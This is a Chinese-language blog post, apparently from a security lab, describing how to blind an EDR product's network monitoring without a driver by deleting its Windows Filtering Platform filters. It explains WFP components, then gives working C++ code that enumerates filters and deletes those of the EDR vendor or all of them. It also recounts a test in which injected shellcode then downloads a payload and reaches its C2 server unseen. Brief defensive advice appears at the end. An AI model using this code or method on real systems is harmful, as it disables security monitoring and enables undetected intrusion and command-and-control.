从想法到现实,我的脑洞实践大冒险
在吐槽间我突然脑洞大开:“既然驱动层面的防护这么严密,咱们何不换条路走走,试试无驱动的手法呢?说不定能给这EDR来个‘出其不意’的惊喜!”话一出口,我就像打了鸡血一样,立刻开始研究起怎么“无驱动干掉EDR的网络监测能力”。
挑战EDR:不依赖驱动的防护瘫痪方法
无驱动绕过EDR网络监测能力原理
01
WFP技术详解
核心组件 | 简单解释 | 学术定义 |
Filter Engine(过滤引擎) | WFP的核心,处理各种协议层的过滤器 | 内核和用户模式下的网络过滤引擎 |
Base Filtering Engine(基础过滤引擎) | WFP的服务组件 | 提供过滤器管理和调度的服务 |
Filter(过滤器) | 指定具体的过滤规则 | 包含过滤判定条件和触发行为的具体规则 |
Provider(提供者) | 管理多个Filter的实体 | 负责创建和管理过滤规则的实体 |
Shim内核模式组件 | 流量信息采集器 | 支持多种协议的内核模式数据包采集组件 |
Callouts(回调函数) | 当发现目标流量时,执行特定的操作 | 捕获流量后触发的回调函数 |
API(应用程序接口) | 开发WFP应用的函数集 | 用于与WFP组件进行交互的一组函数和方法 |
Filter Engine(过滤引擎)
WFP的核心组件,支持多种协议层的过滤器,同时存在于内核模式和用户模式中。主要有四个功能:
过滤由shim采集到的所有流量
实现可供外部调用的(callout)过滤器
控制shim放行或阻断流量
综合考量各条策略,判断流量该放行还是阻断
Base Filtering Engine(基础过滤引擎)
WFP的服务组件,主要功能如下:
接收WFP各个过滤器和相关配置的设置
统计和输出当前系统的状态信息
负责WFP的安全模型和权限管理
连接WFP的各个模块
Filter(过滤器)
Provider(提供者)
Shim
Callouts
API
02
思路的延申
我们可以从上面的内容知道,WFP发挥流量监测效果的地方主要是各个Filter和Callout。当流量经Filter过滤,触发Callouts,执行相应的处置函数。也许是我的环境问题,使用EDRSilencer时只能封禁掉普通进程的出口流量,目标为EDR进程时会报异常。审计代码后,发现作者逆向了获取进程ID的函数,并自实现了一个同等效果的函数(这一步的原因是直接调用Windows提供的API会无法获取到杀软进程的ID, 权限不够)。于是我开始思考其他的利用方案。
如下图所示,是一台安装了Bitdefender企业版的机器内已有的Filter列表,你可以使用WFPExplorer查看:
其中,BD和Bitdefender开头的都是EDR添加的过滤器,在捕获到对应的流量时,会执行所属的Callout函数:
那么,如果将EDR放置的所有的滤网,都从“流量管道里”拿上来,是不是就意味着所有的流量都能在这通道里出去呢?是否也如同其他访问EDR相关文件/进程一样,会因权限不足而被拒绝呢?随着研究的跟进,我发现WFP并不会对对象执行如同进程杀除一样的权限判断。只要获取到了管理员,你就拥有了对用户层WFP全部的控制能力。
无驱动绕过EDR操作指南
if (FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine) != 0) {
printf("[-]Failed to open filter engine.\n");
exit(1);
}
DWORD res = 0;
HANDLE hEnum = nullptr;
FWPM_FILTER0** ppFilters = nullptr;
UINT32 numFilter = 0;
// Template置空,返回全部的filter
res = FwpmFilterCreateEnumHandle0(hEngine, NULL, &hEnum);
if ( res != 0) {
printf("[-]Failed to create enum handle.Error code: 0x%x\n", res);
FwpmEngineClose0(hEngine);
exit(1);
}
res = FwpmFilterEnum0(hEngine, hEnum, 0x500, &ppFilters, &numFilter);
if (res != 0) {
printf("[-]Failed to enum filters.Error code: 0x%x\n", res);
FwpmEngineClose0(hEngine);
3.通过FilterID删除目标Filter:
void DeleteFilter(HANDLE hEngine, std::wstring target, FWPM_FILTER0** ppFilters, UINT32 numFilter) {
DWORD res = 0;
bool bDeleted = false;
for (UINT32 i = 0; i < numFilter; i++) {
std::wstring filterName = ppFilters[i]->displayData.name;
if (target != L"all") {
if (filterName.find(target) != std::wstring::npos) {
res = FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
if (res != 0) {
printf("[-]Failed to delete filter: [%ls].Error code: 0x%x\n", ppFilters[i]->displayData.name, res);
}
printf("[+]%ls filter has been deleted.\n", ppFilters[i]->displayData.name);
bDeleted = true;
}
}
else {
res = FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
if (res != 0) {
printf("[-]Failed to delete filter: [%ls].Error code: 0x%x\n", ppFilters[i]->displayData.name, res);
}
printf("[+]%ls filter has been deleted.\n", ppFilters[i]->displayData.name);
}
}
if (bDeleted == false) printf("[-]Nothing has been deleted.\n");
EDR绕过前后对比,请看大屏幕
想要实际对比删除前后的效果,需要满足如下条件:EDR无法捕获到注入行为的同时,能够通过网络行为抓出shellcode的执行动作。从成文实验室的武器库里挑选一个合适的注入器,并放入最基础的网络请求shellcode,以满足上述条件。
01
删除WFP前
触发shellcode时,会有一个网络请求bin文件的行为。比特梵德通过网络行为审计抓出了这个动作,拦截了后续的请求行为,导致C2无法上线:
对应的,管理台立即收到了告警:
02
删除WFP后
简单列举一下当前环境内存在的Filter:
将比特梵德所有的Filter删除:
使用相同的样本注入,再触发shellcode,成功请求到bin文件并上线,且管理台没有任何告警提示。对比之前甚至二阶段shellcode都无法请求到,此操作明显降低了EDR的监测拦截能力:
如果你想做得彻底一点,也可以像我一样,将所有的Filter一并干掉,只留下禁止删除的几个。这并不会影响用户的网络出入:
最后需要声明的是,这一项操作的目的主要是在有限的范围内以较低的成本取得较好的致盲效果。同时,也并不代表所有的EDR都能仅用该技术就能实现同等的效果。对于使用了ETW从内核监测流量行为的EDR,则无法有效致盲流量监测模块,请读者自行测试总结。
应对无驱动绕EDR的防御策略
可参考如下防护手段:
间歇检查Filter过滤状态
监测相关API调用
补充内核ETW监测流量的功能
参考文献
https://learn.microsoft.com/zh-cn/windows/win32/fwp/windows-filtering-platform-start-page
https://github.com/netero1010/EDRSilencer
深入EDR绕过技术,挑战与收获并存!
期待您留言交流,分享绕过思路,共筑安全新篇章!